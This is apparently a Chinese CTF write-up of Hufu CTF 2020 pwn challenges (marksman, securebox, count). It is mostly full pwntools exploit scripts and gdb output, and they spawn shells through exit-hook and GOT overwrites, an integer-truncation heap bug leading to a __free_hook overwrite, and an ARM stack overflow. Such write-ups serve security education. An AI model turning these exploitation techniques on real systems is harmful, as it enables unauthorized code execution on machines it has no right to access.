0%

虎符CTF2020复现(部分)

菜了菜了,打虎符就嗯下饭,中午睡醒起来打比赛,下午结束前👴就会个签到,好,不愧是虎符,👴不配。

pwn1 marksman

ubuntu 18
程序给出了任意地址写三个字节的机会,full relro保护
程序禁用了one gadget,实际伪造的时候就会发现,其实过滤不够严格,但是这里的三个还是不太能用,需要修改一下。另外也可以通过寻找其他的one gadget

这道题目有多个思路

1.exit_hook

可以通过 one_gadget -l2 增加搜索的onegadget长度
地址任意写,可以改写任意地址后三个字节,
有对onegadget的过滤,但是没有
不能改写got表,但是可以利用修改exit调用过程的函数指针
exit()->run_exit_handlers->_dl_fini->rtld_lock_unlock_recursive
可以在gdb动调中使用p _rtld_global 指令查看相关地址
这里我么利用的是修改_dl_rtld_lock_recursive指针为onegadget达到getshell目的。注意这里使用第三个onegadget为了避开过滤,将最后一个字节改成’\x87’
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level='debug'
#p=process('./chall')
elf=ELF('./chall')
p=remote('node3.buuoj.cn',26006)

p.recvuntil('near: ')
puts_addr=int(p.recv(14),16)
base=puts_addr-0x0809c0

#_rtld_global+3840=0x7fa488dddf60
#_dl_rtld_lock_recursive = 0x7fa488bb60e0
#_dl_rtld_unlock_recursive = 0x7fa488bb60f0
#base=0x7fa4885c0000
#use exit->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
lock_recursive=0x81df60+base
one_gadget=base+0x10a387
victim=lock_recursive

print(hex(puts_addr))
print(hex(base))
print(hex(one_gadget))
byte1=one_gadget%(0x100)
byte2=one_gadget%(0x10000)>>(4*2)
byte3=one_gadget%(0x1000000)>>(4*4)
print(hex(byte1))
print(hex(byte2))
print(hex(byte3))
print(hex(victim))

p.sendline(str(victim))

p.recvuntil('biang!\n')
p.sendline(p8(byte1))
p.recvuntil('biang!\n')
p.sendline(p8(byte2))

#gdb.attach(p)
#pause()
p.recvuntil('biang!\n')
p.sendline(p8(byte3))

p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
'''

2.dlopen函数调用中相关函数的got表

先在gdb看一下dlopen函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ x/40i 0x7f8c4cbf6fe0
0x7f8c4cbf6fe0 <__dlopen>: sub rsp,0x38
0x7f8c4cbf6fe4 <__dlopen+4>: mov rax,QWORD PTR fs:0x28
0x7f8c4cbf6fed <__dlopen+13>: mov QWORD PTR [rsp+0x28],rax
0x7f8c4cbf6ff2 <__dlopen+18>: xor eax,eax
0x7f8c4cbf6ff4 <__dlopen+20>: mov rax,QWORD PTR [rip+0x201fc5] # 0x7f8c4cdf8fc0
0x7f8c4cbf6ffb <__dlopen+27>: cmp QWORD PTR [rax+0x148],0x0
0x7f8c4cbf7003 <__dlopen+35>: jne 0x7f8c4cbf7030 <__dlopen+80>
0x7f8c4cbf7005 <__dlopen+37>: mov rax,QWORD PTR [rip+0x2020b4] # 0x7f8c4cdf90c0 <_dlfcn_hook>
0x7f8c4cbf700c <__dlopen+44>: mov rdx,QWORD PTR [rsp+0x38]
0x7f8c4cbf7011 <__dlopen+49>: call QWORD PTR [rax]
0x7f8c4cbf7013 <__dlopen+51>: mov rcx,QWORD PTR [rsp+0x28]
0x7f8c4cbf7018 <__dlopen+56>: xor rcx,QWORD PTR fs:0x28
0x7f8c4cbf7021 <__dlopen+65>: jne 0x7f8c4cbf7064 <__dlopen+132>
0x7f8c4cbf7023 <__dlopen+67>: add rsp,0x38
0x7f8c4cbf7027 <__dlopen+71>: ret
0x7f8c4cbf7028 <__dlopen+72>: nop DWORD PTR [rax+rax*1+0x0]
0x7f8c4cbf7030 <__dlopen+80>: mov rax,QWORD PTR [rsp+0x38]
0x7f8c4cbf7035 <__dlopen+85>: mov QWORD PTR [rsp],rdi
0x7f8c4cbf7039 <__dlopen+89>: lea rdi,[rip+0xffffffffffffff00] # 0x7f8c4cbf6f40 <dlopen_doit>
0x7f8c4cbf7040 <__dlopen+96>: mov DWORD PTR [rsp+0x8],esi
0x7f8c4cbf7044 <__dlopen+100>: mov rsi,rsp
0x7f8c4cbf7047 <__dlopen+103>: mov QWORD PTR [rsp+0x18],rax
0x7f8c4cbf704c <__dlopen+108>: call 0x7f8c4cbf76d0 <_dlerror_run>

这里我们注意到最后一个call dlerror_run函数,跟进去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
gdb-peda$ x/40i 0x7f8c4cbf76d0
0x7f8c4cbf76d0 <_dlerror_run>: cmp QWORD PTR [rip+0x2018f0],0x0 # 0x7f8c4cdf8fc8
0x7f8c4cbf76d8 <_dlerror_run+8>: push r12
0x7f8c4cbf76da <_dlerror_run+10>: mov r12,rsi
0x7f8c4cbf76dd <_dlerror_run+13>: push rbp
0x7f8c4cbf76de <_dlerror_run+14>: mov rbp,rdi
0x7f8c4cbf76e1 <_dlerror_run+17>: push rbx
0x7f8c4cbf76e2 <_dlerror_run+18>: je 0x7f8c4cbf7760 <_dlerror_run+144>
0x7f8c4cbf76e4 <_dlerror_run+20>: lea rsi,[rip+0xfffffffffffffbd5] # 0x7f8c4cbf72c0 <_dlerror_run+4294966256>
0x7f8c4cbf76eb <_dlerror_run+27>: lea rdi,[rip+0x2019d6] # 0x7f8c4cdf90c8 <once>
0x7f8c4cbf76f2 <_dlerror_run+34>: call 0x7f8c4cbf6e30 <__pthread_once@plt>
0x7f8c4cbf76f7 <_dlerror_run+39>: mov rbx,QWORD PTR [rip+0x2019d2] # 0x7f8c4cdf90d0 <static_buf>
0x7f8c4cbf76fe <_dlerror_run+46>: test rbx,rbx
0x7f8c4cbf7701 <_dlerror_run+49>: je 0x7f8c4cbf77b5 <_dlerror_run+229>
0x7f8c4cbf7707 <_dlerror_run+55>: mov rdi,QWORD PTR [rbx+0x18]
0x7f8c4cbf770b <_dlerror_run+59>: test rdi,rdi
0x7f8c4cbf770e <_dlerror_run+62>: je 0x7f8c4cbf771e <_dlerror_run+78>
0x7f8c4cbf7710 <_dlerror_run+64>: cmp BYTE PTR [rbx+0x8],0x0
0x7f8c4cbf7714 <_dlerror_run+68>: jne 0x7f8c4cbf7758 <_dlerror_run+136>
0x7f8c4cbf7716 <_dlerror_run+70>: mov QWORD PTR [rbx+0x18],0x0
0x7f8c4cbf771e <_dlerror_run+78>: lea rdx,[rbx+0x8]
0x7f8c4cbf7722 <_dlerror_run+82>: lea rsi,[rbx+0x18]
0x7f8c4cbf7726 <_dlerror_run+86>: lea rdi,[rbx+0x10]
0x7f8c4cbf772a <_dlerror_run+90>: mov r8,r12
0x7f8c4cbf772d <_dlerror_run+93>: mov rcx,rbp
0x7f8c4cbf7730 <_dlerror_run+96>: call 0x7f8c4cbf6d90 <_dl_catch_error@plt>
0x7f8c4cbf7735 <_dlerror_run+101>: mov DWORD PTR [rbx],eax
0x7f8c4cbf7737 <_dlerror_run+103>: mov rax,QWORD PTR [rbx+0x18]
0x7f8c4cbf773b <_dlerror_run+107>: xor edx,edx
0x7f8c4cbf773d <_dlerror_run+109>: test rax,rax
0x7f8c4cbf7740 <_dlerror_run+112>: sete dl
0x7f8c4cbf7743 <_dlerror_run+115>: setne al
0x7f8c4cbf7746 <_dlerror_run+118>: mov DWORD PTR [rbx+0x4],edx
0x7f8c4cbf7749 <_dlerror_run+121>: movzx eax,al
0x7f8c4cbf774c <_dlerror_run+124>: pop rbx
0x7f8c4cbf774d <_dlerror_run+125>: pop rbp
0x7f8c4cbf774e <_dlerror_run+126>: pop r12
0x7f8c4cbf7750 <_dlerror_run+128>: ret
0x7f8c4cbf7751 <_dlerror_run+129>: nop DWORD PTR [rax+0x0]
0x7f8c4cbf7758 <_dlerror_run+136>: call 0x7f8c4cbf6d60 <free@plt>

这里我们注意到call了三个函数的plt
call 0x7f8c4cbf6e30 <__pthread_once@plt>
call 0x7f8c4cbf6d90 <_dl_catch_error@plt>
call 0x7f8c4cbf6d60 <free@plt>
这些函数都是libc里的函数,我们跟进去看一下got表

1
2
3
4
5
6
7
8
9
gdb-peda$ x/20i 0x7f8c4cbf6e30
0x7f8c4cbf6e30 <__pthread_once@plt>: jmp QWORD PTR [rip+0x202192] # 0x7f8c4cdf8fc8
0x7f8c4cbf6e36 <__pthread_once@plt+6>: xchg ax,ax
gdb-peda$ x/20i 0x7f8c4cbf6d90
0x7f8c4cbf6d90 <_dl_catch_error@plt>: jmp QWORD PTR [rip+0x2022a2] # 0x7f8c4cdf9038
0x7f8c4cbf6d96 <_dl_catch_error@plt+6>: push 0x4
gdb-peda$ x/10i 0x7f8c4cbf6d60
0x7f8c4cbf6d60 <free@plt>: jmp QWORD PTR [rip+0x2022ba] # 0x7f8c4cdf9020
0x7f8c4cbf6d66 <free@plt+6>: push 0x1

这三个开头的jump位置就是got表的位置
接下来我们看一下这三个的got表内容

1
2
3
4
5
6
gdb-peda$ x/gx 0x7f8c4cdf8fc8          
0x7f8c4cdf8fc8: 0x0000000000000000 __pthread_once
gdb-peda$ x/gx 0x7f8c4cdf9038
0x7f8c4cdf9038: 0x00007f8c4cbf6d96 _dl_catch_error
gdb-peda$ x/gx 0x7f8c4cdf9020
0x7f8c4cdf9020: 0x00007f8c4cbf6d66 free

这里我们可以看到第一个got表内容是0,所以无法通过覆盖后三个字节getshell。但是后两个都是可以用的
所以我们这里分别选择后两个计算一下got表偏移
这里由于脚本输出了libc基址,减一下就知道相应位置

1
2
3
libc_base=0x7f8c4c805000
_dl_catch_error_got=0x7f8c4cdf9038-0x7f8c4c805000=0x5f4038
free_got=0x7f8c4cdf9020-0x7f8c4c805000=0x5f4020

然后加上相应的libc基址,就可以得到这两个的got表地址。经过测试,这两个地址写入one_gadget都可以成功getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level='debug'
p=process('./chall')
elf=ELF('./chall')
libc=ELF('libc.so.6_2.27')
#p=remote('node3.buuoj.cn',26006)
#__pthread_once_got=libc.got['__pthread_once']
_dl_catch_error_got=libc.symbols['_dl_catch_error']
free_got=libc.got['free']
#print(hex(__pthread_once_got))
print(hex(_dl_catch_error_got))
print(hex(free_got))
p.recvuntil('near: ')
puts_addr=int(p.recv(14),16)
base=puts_addr-0x0809c0

#use dlopen
dl_catch_error_got=0x5f4038+base
free_got=0x5f4038+base
one_gadget=base+0xe569f
#victim=free_got
victim=dl_catch_error_got
#这里可以选择修改free_got或dl_catch_error_got,两种方法都可以打通

print(hex(puts_addr))
print(hex(base))
print(hex(one_gadget))
byte1=one_gadget%(0x100)
byte2=one_gadget%(0x10000)>>(4*2)
byte3=one_gadget%(0x1000000)>>(4*4)
print(hex(byte1))
print(hex(byte2))
print(hex(byte3))
print(hex(victim))

p.sendline(str(victim))
p.recvuntil('biang!\n')
p.sendline(p8(byte1))
p.recvuntil('biang!\n')
p.sendline(p8(byte2))
#gdb.attach(p)
#pause()
p.recvuntil('biang!\n')
p.sendline(p8(byte3))

p.interactive()

3.预期解

待补充

pwn2 sucurebox

题目环境是libc2.30,但是buu复现的时候只有libc2.27,所以我在本地复现了一下。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目保护全开
这道题目漏洞主要是int32和int64之间的转换造成的溢出
漏洞:

1
2
3
4
5
6
puts("Size: ");
size = read_int();
if ( size > 0x100 && (unsigned int)size <= 0xFFF )
{
chunk_list[v2] = malloc(0x28uLL);
*((_QWORD *)chunk_list[v2] + 4) = size;

这里的漏洞在于size是

1
unsigned __int64 size;

而强制转换的时候转换成了int32,高8位丢失了
所以可以利用这个绕过size的检测,申请一个很大的chunk来完成地址任意写。
enc函数编辑的时候进行了加密,所以要逆出对应加密即可,另外enc编辑的offset小于申请的size即可。
所以这道题目的思路就是利用malloc泄露地址,申请足够大的chunk来达成地址任意写的目的,接下来覆盖free hook为system地址来getshell。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p=process('./chall')
p=remote('node3.buuoj.cn',28748)
elf=ELF('./chall')

def add(size):
p.recvuntil('5.Exit')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Key: \n')
key_msg = p.recvline().strip("\n").split(" ")[:-1]
key = [int(i,16) for i in key_msg]
print(key)
p.recvuntil('Box ID:')
return key

def free(idx):
p.recvuntil('5.Exit')
p.sendline('2')
p.recvuntil('Box ID:')
p.sendline(str(idx))

def edit(idx,offset,leng,msg):
p.recvuntil('5.Exit')
p.sendline('3')
p.recvuntil('Box ID:')
p.sendline(str(idx))
p.recvuntil('Offset of msg:')
p.sendline(str(offset))
p.recvuntil('Len of msg:')
p.sendline(str(leng))
p.recvuntil('Msg:')
p.sendline(msg)

def show(idx,offset,leng):
p.recvuntil('5.Exit')
p.sendline('4')
p.recvuntil('Box ID:')
p.sendline(str(idx))
p.recvuntil('Offset of msg:')
p.sendline(str(offset))
p.recvuntil('Len of msg:')
p.sendline(str(leng))
p.recvuntil('Msg: \n')

def decode(key,content):
deco=''
for i in range(8):
deco += chr(ord(content[i])^key[i])
return deco;
key0=add(0x500)#0
key1=add(0x600)#1
edit(1,0,8,decode(key1,'/bin/sh\x00'))
free(0)
key0=add(0x500)#0
show(0,0,8)
malloc_hook=u64(p.recv(6).ljust(8,'\x00'))-0x60-0x10

#base=malloc_hook-0x1eab70 #libc2.30
base=malloc_hook-0x3ebc30 #libc2.27

print(hex(malloc_hook))
print(hex(base))
key2=add(0x7fffffff00000800)#2
'''#libc 2.30
free_hook=base+0x1edb20
system=base+0x0554e0
'''
#libc 2.27
free_hook=base+0x03ed8e8
system=base+0x04f440

edit(2,free_hook,8,decode(key2,p64(system)))
free(1)
p.interactive()

pwn3 encnote

待补充复现

pwn4 count

这是本次比赛最后上的一道题目,也是最简单的题目。基础的arm pwn题目。
简单的回答200次题目,正确后会给出一个栈溢出,直接覆盖改写内容就能得到shell
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level='debug'
p=remote("39.97.210.182",40285)
p.recvuntil("levels ~")
for i in range(200):
p.recvuntil('Math: ')
s=p.recvuntil('=',drop=True)
r=eval(s)
p.recvuntil('answer:')
p.sendline(str(r))
p.recvuntil('good')
#12235612
payload='a'*0x64+p32(0x12235612)
p.sendline(payload)
p.interactive()
好饿啊,早知道不学安全了